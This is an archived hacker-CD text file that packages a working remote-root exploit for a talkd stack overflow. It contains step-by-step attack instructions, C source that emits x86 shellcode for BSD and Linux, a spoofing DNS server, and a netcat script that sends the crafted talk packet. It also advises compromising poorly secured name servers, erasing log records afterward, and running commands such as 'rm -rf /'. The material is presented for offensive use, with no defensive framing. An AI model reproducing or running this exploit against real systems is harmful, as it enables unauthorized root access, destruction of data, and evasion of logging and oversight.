home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / talkd.txt < prev    next >
Text File  |  2001-11-06  |  16KB  |  409 lines

  1.  
  2.  
  3. /*
  4. README.talkd
  5.  
  6.  
  7.  
  8. 1. get root on some name server machine.
  9.  
  10. 2. start talkd (the exploit code generating program, not the talk daemon)
  11. and save its output someplace. make sure you got all the system-dependent
  12. parameters correctly. also that USERNAMELENGTH is equal to the length of the
  13. user name you will be using with the talkpage script later. the command
  14. supplied to talkd shouldn't be too long (usually can be up to 48 bytes).
  15.  
  16. 3. kill the name server daemon, and start up dns_rev instead, giving as a
  17. parameter an ip address that was under the authority of this name server in
  18. the in-addr.arpa domain, and whose ip address is not cached on the target
  19. host's nameserver (you can check if it is cached by looking it up with
  20. recursion turned off; or you can pick a random address and hope its not
  21. cached - if it is, try again with a different one. chances are that
  22. addresses of non-existing machines won't be cached so its best to use an
  23. address like that if there is one). feed the saved output as an input to
  24. dns_rev.
  25.  
  26. 4. start up talkd on the target host, by talk paging a non-existing user
  27. there. this is to bypass tcp wrappers (theoretically, you don't have to
  28. bypass them, but it's one thing less to worry about if you do). you have to
  29. do this from a host that is not served by the dns your messing with, since
  30. the wrappers will try to do dns lookups.
  31.  
  32. 5. (quickly, while the started talkd is still alive) page a logged in user
  33. that has messages enabled on the remote host, giving as a source ip address
  34. the address that you are spoofing (that is just the address in the talk
  35. protocol packet, you don't have to spoof ip packets source address - talkd
  36. is stupid enough not to care about them). this can be done with the
  37. 'talkpage' script or something such. you can do this from any host. at this
  38. point, dns_rev should say 'reverse query accepted', and the remote talkd
  39. should have executed the command you supplied to talkd, that is, if you
  40. guessed the buffer address correctly.
  41.  
  42. 6. if you failed, check all the steps carefully again to find out what went
  43. wrong; you can probably repeat the whole thing in some 120 seconds (which is
  44. the time before talkd commits suicide, if no other requests arrive). if you
  45. were successfull, kill dns_rev, re-start named, log in to remote host, and
  46. erase any logfile records. you should know what to do from then on.
  47.  
  48. one note, though; in order to get the best results in the cleanest way
  49. possible, you should first test the whole scenario on some playground
  50. machines that have the same system as the target host.
  51.  
  52.  
  53.  
  54.  
  55. lkd hole exploit. version 0.1.
  56.  
  57.      usage: talkd system [[adrs] size] < command > output
  58.      
  59.    reads command to execute on remote host from stdin. writes code to
  60.    stdout. you have to feed the output to some sort of script or something
  61.    (try & use netcat for remote exploitation). you may specify address of
  62.    the buffer on stack on the command line. you may also specify buffer
  63.    size, which is size of the buffer (last two lines, actually) + size of
  64.    local variables up to (but not including) the return address - length of
  65.    anything that will get prepended to the code before it is fed into talk
  66.    buffers (such as "talk: respond with:  talk username@"). oh, and you have
  67.    to spoof the host name, of course. THIS ISN'T A NO-BRAINERS SKRIPT. you
  68.    want a no-brainers script, go use sendmail or something.
  69.    
  70.    curently defined systems: bsd386, linux386 (somebody wanna write some sparc
  71.    asm code here?)
  72.    
  73.    notes. in reality, some weird buffer copying and sizes overwriting is
  74.    going on in print_mesg() in talkd. that's why, for example, buffer has to
  75.    be filled with a non-negative nop code. if the order of variables in that
  76.    function is different (whether declared differently or re-arranged by the
  77.    compiler at its own free will), the simplistic approach used here might
  78.    no longer work. the hole might still be exploitable, though - the only
  79.    way to check is find out exactly what is going on in print_mesg() in your
  80.    talkd. other things to watch for: ESCAPESPACE inserts an instruction to
  81.    escape around the space-zero that is copied to the last line of talk
  82.    buffer, and ends up within the nops (the dots inside the nops fill-in are
  83.    assumed to be executed nops - which is the case on the i386, but might be
  84.    different on other architectures. if you can guess the exact code
  85.    address, you don't need to worry about escaping the dots or the
  86.    space-zero anyway - assuming the space falls somewhere into the nops, not
  87.    within the code itself. tty file, which is assumed to be the first or the
  88.    second parameter to print_mesg() is overwritten with a low address on the
  89.    stack, in order to shut up the talk message, so the user doesn't get to
  90.    see it. if this fails on your target, you will probably have to set up a
  91.    valid FILE structure on the stack, and know exactly where the structure
  92.    is, so you can supply its address (or try supplying a NULL, if that
  93.    works). failing that, the only choice left would be to let talkd display
  94.    the annoying message to the unsuspecting user, by leaving print_mesg()
  95.    parameters alone - and you would also have to put the command to be
  96.    executed inside the print_mesg() stack, which will limit its length
  97.    severly (always enough space for a "rm -rf /", though...).
  98.    
  99.  by Flash Gordon / CiA (with some ideas "borrowed" from others).        */
  100.  
  101. unsigned char *codes[] = /* asm k0d3$ to start up a process on each system */
  102.     {"\x41\xa9\xeb\x3d\x59\x31\xd2\x8d\x71\x0f\x89\x56\xfd\x46\x80\x36"
  103.      "\x80\x75\xfa\x88\x51\x17\x8d\x59\x1a\x88\x13\x43\x89\x59\x08\x8d"
  104.      "\x59\x18\x89\x59\x04\x8d\x59\x10\x89\x19\x31\xc0\xb0\x3b\x89\x51"
  105.      "\xf0\x88\x51\xf5\x52\x51\x53\x50\xeb\x01\x90\x9a.---\x07\x31\xc0"
  106.      "\xb4\x02\x29\xc4\xe8\xb8\xff\xff\xff",
  107.      
  108.      "\x41\xa9\xeb\x2e\x59\x31\xd2\x8d\x71\x0f\x89\x56\xfd\x46\x80\x36"
  109.      "\x80\x75\xfa\x88\x51\x17\x8d\x59\x1a\x88\x13\x43\x89\x59\x08\x8d"
  110.      "\x59\x18\x89\x59\x04\x8d\x59\x10\x89\x19\x31\xc0\xb0\x05\x04\x06"
  111.      "\xcd\x80\xe8\xcd\xff\xff\xff"};
  112.  
  113. #define PREFIX "/bin/sh -c "    /* don't change that, hardwired into code */
  114.      
  115. char *systems[] = {"bsd386", "linux386"};             
  116.  
  117. #ifndef USERNAMELENGTH
  118. #define USERNAMELENGTH 9 /* president */
  119. #endif
  120.  
  121. /* linux size is normally 237, 213 when re-arranged and without stack frame. */
  122. /* bsd 4.4 lite - increase bufsize by 272, escapespace by 136 */
  123.  
  124. int sizes[] = {217 - USERNAMELENGTH, 213 - USERNAMELENGTH};
  125. int addrs[] = {0xEFBFDD6F, 0xBFFFFC6F}; /* DF2C, DD2C (?) on BSDI 1.1 (?) */
  126.  
  127. #include <stdio.h>
  128. #include <string.h>
  129. #include <stdlib.h>
  130.  
  131. #ifndef NOESCAPE
  132. #ifndef ESCAPESPACE
  133. #define ESCAPESPACE 120 - 1 - 27 - USERNAMELENGTH
  134. #endif
  135. #endif
  136.  
  137. #ifndef MAXLBLSIZ
  138. #define MAXLBLSIZ 63 /* protocol allows up to 63 but maybe can be up to 191 */
  139. #endif                         
  140.  
  141. unsigned char *putint(nop, p, val) unsigned char nop, *p; unsigned val;
  142. {
  143.   int i;
  144.   unsigned char buf[sizeof(int)];
  145.   for (i = 0; i < sizeof(int); ++i) {
  146.     buf[i] = val; val >>= 8;
  147.   }  
  148.   if (nop != 0x41) /* assume big endian target */
  149.     for (i = sizeof(int) - 1; i >= 0; --i) *p++ = buf[i];
  150.   else /* assume little endian target */
  151.     for (i = 0; i < sizeof(int); ++i) *p++ = buf[i];
  152.   return p;
  153. }
  154.  
  155. void main(argc, argv) int argc; char **argv;
  156. {
  157.   unsigned char *p, *q, *r, *s;
  158.   unsigned i = 0, l, adrs, size;
  159.   if (argc > 1) {
  160.     i = sizeof(systems) / sizeof(*systems);
  161.     while (i && strcasecmp(argv[1], systems[i - 1])) --i;
  162.   }
  163.   if (!i--) {
  164.     fprintf(stderr, "what?\n");
  165.     return;
  166.   }
  167.   adrs = addrs[i]; size = sizes[i];
  168.   if (argc > 2) {
  169.     adrs = strtoul(argv[2], 0, 0);
  170.     if (argc > 3) size = strtoul(argv[3], 0, 0);
  171.   }
  172.   if (p = malloc(4096)) {
  173.     memset(q = p, *codes[i], 4096);
  174.     strcpy(r = ((p += size) - strlen(codes[i] + 2)), codes[i] + 2); 
  175.     p = putint(*codes[i], putint(*codes[i], p, adrs), l = adrs - 2048);
  176.     p = putint(*codes[i], p, l); *p++ = '.'; *p++ = 'x'; *p++ = 'x'; *p++ = 'x';
  177.     strcpy(p, PREFIX); gets(p + strlen(p)); l = strlen(p);
  178.     if (l >= MAXLBLSIZ - 3 && (unsigned char *)strrchr(p, '.')) return;
  179.     do *p++ ^= 128; while (l--);
  180.     l = (unsigned char *)strchr(s = q, '.') - q;
  181.     while (l > MAXLBLSIZ) { 
  182.       if ((s += MAXLBLSIZ) >= r) s = r - 1;
  183.       *s++ = '.'; l -= MAXLBLSIZ + 1; 
  184.     }
  185. #ifdef ESCAPESPACE
  186.     if (q + ESCAPESPACE >= r - 2) return;
  187.     q[ESCAPESPACE] = codes[i][1];
  188. #endif    
  189.     fwrite(q, 1, p - q, stdout);
  190.   }
  191. }
  192.  
  193.  
  194.  
  195. /* replace dns to spoof reverse queries.
  196.  
  197.         usage: echo -n <host-name> | dns_rev <ip-address>
  198.         
  199.    ip-address is the address of host you wanna spoof. the program will wait
  200.    for a reverse query for this address to arrive, and will return whatever
  201.    it read from standard input (host-name). address queries for the spoofed
  202.    host-name will be answered with the ip-address supplied (to keep the tcp
  203.    wrappers happy). other queries that might arrive in the mean time will be
  204.    ignored. you hafta kill named before you do this sort of thing (and
  205.    eventually bring it back up later). currently works only with udp.
  206.    
  207.    by Flash Gordon / CiA                                                    */
  208.    
  209. #include <stdio.h>   
  210. #include <string.h>
  211. #include <sys/types.h>   
  212. #include <sys/socket.h>
  213. #include <netinet/in.h>
  214. #include <arpa/inet.h>   
  215.  
  216. #define DNSPORT 53
  217. #define REVDOM ".IN-ADDR.ARPA"
  218. #ifndef MAXDOMSIZ
  219. #define MAXDOMSIZ 384 /* using more than 256 bytes violates the protocol */
  220. #endif                         
  221.  
  222. /*#define MYNAME "fully qualified domain name of name-server machine" */
  223. /*#define MYADRS 0x7f000001 - ip address of name-server machine, in hex */
  224.  
  225. unsigned char *get_dom_name(p, l) unsigned char **p; int *l;
  226. {
  227.   static unsigned char buf[BUFSIZ];
  228.   int i;
  229.   unsigned char *q = buf;
  230.   while (1) {
  231.     if (--*l < 0) return 0;
  232.     if (!(i = *(*p)++)) {
  233.       *q = 0; return buf;
  234.     }
  235.     if (*l < i) return 0;
  236.     *l -= i;
  237.     if (q != buf) *q++ = '.';
  238.     while (i--) *q++ = *(*p)++;
  239.   }
  240. }
  241.  
  242. unsigned char *put_dom_name(p, q) unsigned char *p, *q;
  243. {
  244.   unsigned char *t, dbuf[MAXDOMSIZ];
  245.   q = strcpy(dbuf, q);
  246.   while (1) {
  247.     if (t = strchr(q, '.')) *t = 0;
  248.     *p = strlen(q);
  249.     strcpy(p + 1, q);
  250.     p += *p + 1;
  251.     if (!t) return p + 1;
  252.     q = t + 1;
  253.   }
  254. }
  255.  
  256. unsigned long rev_long(l) unsigned long l;
  257. {
  258.   unsigned long i = 0;
  259.   int n = sizeof(i);
  260.   while (n--) {
  261.     i = (i << 8) | (l & 255); l >>= 8;
  262.   }
  263.   return i;
  264. }
  265.  
  266. void main(argc, argv) int argc; char **argv;
  267. {
  268.   unsigned long ip, rip, sip;
  269.   int i, s, l = 0;
  270.   unsigned char *p, *q;
  271.   struct sockaddr_in addr;
  272.   unsigned char buf[BUFSIZ], answer[MAXDOMSIZ], abuf[32];
  273. #ifdef MYNAME
  274.   unsigned char hostname[] = MYNAME;
  275. #else
  276.   unsigned char hostname[32];
  277.   if (gethostname(hostname, sizeof(hostname))) return;
  278. #endif
  279.   if (argc != 2 || (rip = rev_long(sip = ip = inet_addr(argv[1]))) == -1) 
  280.     return;
  281. #ifdef MYADRS
  282.   sip = htonl(MYADRS); 
  283. #endif
  284.   while ((i = getchar()) != EOF) {
  285.     if (l == sizeof(answer) - 1) return;
  286.     answer[l++] = i;
  287.   }
  288.   answer[l++] = 0;
  289.   if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1) return;
  290.   addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY;
  291.   addr.sin_port = htons(DNSPORT);
  292.   if (bind(s, (struct sockaddr *)&addr, sizeof(addr))) return;
  293.   printf("waiting...\n");
  294.   while (1) {
  295.     l = sizeof(addr);
  296.     l = recvfrom(s, buf, sizeof(buf), 0, (struct sockaddr *)&addr, &l);
  297.     if (l == -1) return;
  298.     p = buf + 12; l -= 12; i = 0;
  299.     if (!(buf[2] >> 3) && !buf[4] && buf[5] == 1 && (q = get_dom_name(&p, &l))
  300.      && l >= 4 && !*p++ && (++p, !*p++) && *p++ == 1) {
  301.       i = strlen(q);
  302.       if (p[-3] != 12 || (i -= sizeof(REVDOM) - 1) <= 0 
  303.        || strcasecmp(q + i, REVDOM) || (q[i] = 0, inet_addr(q) != rip))
  304.         i = -(p[-3] == 1 && !strcasecmp(q, answer));
  305.     }
  306.     printf("%s query from: %s\n", i == 0 ? "rejecting" : i > 0 ?
  307.      "answering reverse" : "answering forward", inet_ntoa(addr.sin_addr));
  308.     if (i) {
  309.       buf[2] |= 0x84; buf[3] = 0x80;
  310.       buf[6] = buf[8] = buf[10] = 0; buf[7] = buf[9] = buf[11] = 1; 
  311.       *p++ = 0xc0; *p++ = 12; *p++ = 0; *p++ = i > 0 ? 12 : 1; 
  312.       *p++ = 0; *p++ = 1; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; 
  313.       if (i > 0) {
  314.         *p++ = (i = strlen(answer) + 2) >> 8; *p++ = i;
  315.         q = put_dom_name(p, answer);
  316.         strcat(p = strcpy(abuf, inet_ntoa(*(struct in_addr *)&rip)), REVDOM);
  317.       } else {
  318.         *p++ = 0; *p++ = sizeof(ip); memcpy(p, &ip, sizeof(ip));
  319.         q = p + sizeof(ip); p = hostname;
  320.       }
  321.       /* authority record; assume domain authority for forward queries,
  322.          class C net authority for reverse queries. who cares anyway. */
  323.       if (p = strchr(p, '.')) ++p; else p = "";
  324.       q = put_dom_name(q, p);
  325.       *q++ = 0; *q++ = 2; *q++ = 0; *q++ = 1; *q++ = *q++ = *q++ = *q++ = 0;
  326.       *q++ = 0; *q++ = strlen(hostname) + 2; q = put_dom_name(p = q, hostname);
  327.       /* additional record - not really that essential, too. */
  328.       *q++ = ((i = p - buf) >> 8) | 0xc0; *q++ = i; 
  329.       *q++ = 0; *q++ = 1; *q++ = 0; *q++ = 1; *q++ = *q++ = *q++ = *q++ = 0; 
  330.       *q++ = 0; *q++ = sizeof(sip); memcpy(q, &sip, sizeof(sip)); 
  331.       q += sizeof(sip);
  332.       if (sendto(s, buf, i = q - buf, 0, (struct sockaddr *)&addr, 
  333.        sizeof(addr)) == i) printf("sending %d bytes...\n", i);
  334.       else perror("sendto");
  335.     }
  336.   }
  337. }
  338.  
  339.  
  340. t
  341.  
  342. #
  343. # usage: talkpage <user@host> <sourcehost>
  344. #
  345. # note: this version has no dns support. USE NUMERIC IP ADDRESSES OR DIE.
  346. #
  347. PUSSY=nc
  348. LAMER=president
  349. PHOST=$1
  350. FHOST=`echo $2 | awk -F . '{ if (NF == 4) for (i = 1; i <= 4; i++) \
  351.  printf "\\\%o", $i }'`
  352. PUSER=`echo $PHOST | awk -F @ '{ printf "%s", $1 }'`
  353. PNAME=`echo $PHOST | awk -F @ '{ printf "%s", $2 }'`
  354. PHOST=`echo $PNAME | awk -F . '{ if (NF == 4) for (i = 1; i <= 4; i++) \
  355.  printf "\\\%o", $i }'`
  356. if test "$PHOST" = "\0\0\0\0"; then PHOST=; fi
  357. if test -n "$FHOST"; then
  358. if test -n "$PUSER" -a -n "$PHOST"; then
  359.   PUSER=`echo $LAMER $PUSER | awk '{ for (j = 1; j <= NF; j++) {
  360.    printf "%s", substr($j,1,11); \
  361.    for (i = length($j); i < 11; i++) printf "\\\0"; printf "\\\0"; }}'`
  362.   echo -ne "\1\3\0\0\0\0\0\1\0\2\2\232$PHOST\0\0\0\0\0\0\0\0\0\2\2\232\
  363. $FHOST\0\0\0\0\0\0\0\0\0\0\0\1$PUSER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" \
  364.    | $PUSSY -u -w 1 $PNAME 518
  365. fi
  366. fi
  367.  
  368.  
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379. ==========================================================================
  380.  
  381.  
  382. okay, the material here is an exploit for a stack overflow bug in talkd that has been
  383. known for about a year (and still not patched on most hosts). 
  384.  
  385. requirements:
  386.  
  387.  - root on a machine that serves as a primary dns for some host
  388. anywhere on the net (root on all secondary servers might also be
  389. necessary in certain cases). hint: look for dns machines somewhere
  390. in the third world. they aren't very difficult to hack, to say
  391. the least.
  392.  - at least one user with "messages on" must be logged on to the host
  393. you want to attack, and you must know her or his login name. they
  394. won't get paged, though, if the attack is successful.
  395.  - current code works only for bsd (freebsd, netbsd, bsdi, etc.) and
  396. linux, and only for intel x86, BUT it is adaptable to any other system
  397. or architecture with a little programming in assembler (if somebody
  398. does that, please let me know. if i'm not reachable by e-mail here
  399. please post with a subject 'talkd' to some security group or mailing
  400. list that gets archived. if you care).
  401.  
  402. result:
  403.  
  404.  - root on the host you're attacking, if you are successful.
  405.  - no traces at all, except possibly something like "talkd:
  406. connection refused" in the logfile, which is in principle also
  407. avoidable.
  408.  
  409.